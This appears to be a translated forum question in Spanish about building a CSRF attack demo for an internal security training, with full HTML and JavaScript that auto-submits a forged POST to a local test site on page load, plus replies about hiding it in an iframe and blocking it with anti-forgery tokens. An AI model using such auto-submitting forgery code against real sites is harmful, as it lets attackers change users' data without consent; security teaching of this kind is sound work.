Estoy haciendo una introducción a la seguridad web a otras personas en nuestra empresa, y quiero mostrar un ejemplo para tener más impacto.Cómo demostrar un ataque CSRF
Para esto he creado un sitio web pequeño que es vulnerable a este ataque, este sitio web solo será accesible en nuestra red.
Ahora estoy tratando de explotar este ataque, pero no tengo una pregunta:
cómo hacer esto con un formulario de envío?
No tengo problemas para hacer esto con una consulta GET, pero con un POST, intento hacer esto con javascript, no hay problema si alojo mi código en el mismo host, pero si deseo alojar mi código a otro host para ser más realista, me bloquean porque es una solicitud entre dominios.
Entonces, ¿cómo debo enviar estos POST vars?
¡Gracias!
Aquí está mi código actual:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>CSRF attack demo</title>
<script type="text/javascript">
function getHTTPObject() {
var http = false;
//Use IE's ActiveX items to load the file.
if(typeof ActiveXObject != 'undefined') {
try {http = new ActiveXObject("Msxml2.XMLHTTP");}
catch (e) {
try {http = new ActiveXObject("Microsoft.XMLHTTP");}
catch (E) {http = false;}
}
//If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
} else if (window.XMLHttpRequest) {
try {http = new XMLHttpRequest();}
catch (e) {http = false;}
}
return http;
}
function post_to_url(path, params, method) {
method = method || "post"; // Set method to post by default, if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
for(var key in params) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
document.body.appendChild(form);
form.submit();
}
function postToUrlBackground(path, params){
var http = getHTTPObject();
http.open("POST", path, true);
//Send the proper header information along with the request
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.onreadystatechange = function() {//Call a function when the state changes.
if(http.readyState == 4 && http.status == 200) {
//alert("Response received");
}
}
http.send(params);
}
function TryAttack(){
//alert("Sending");
postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE");
//postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE" );
//alert("sent");
}
</script>
</head>
<body onload="TryAttack()">
<img src=image.png />
</body>
</html>
Bien, ya veo, ¿y ponemos esto en un iframe como este, el usuario no ve que ha sido redirigido? – J4N
Genial, funciona :) Lo acumulo con un iframe + htaccess :) – J4N
Wow, esto fue tan útil para mí para probar la vulnerabilidad. Si el atacante conoce los datos que espera el punto final, están dentro. Como sé los valores de forma esperados, pude demostrar esto rápidamente. Utilizará tokens antifalsificación para bloquear. Muy apreciado. –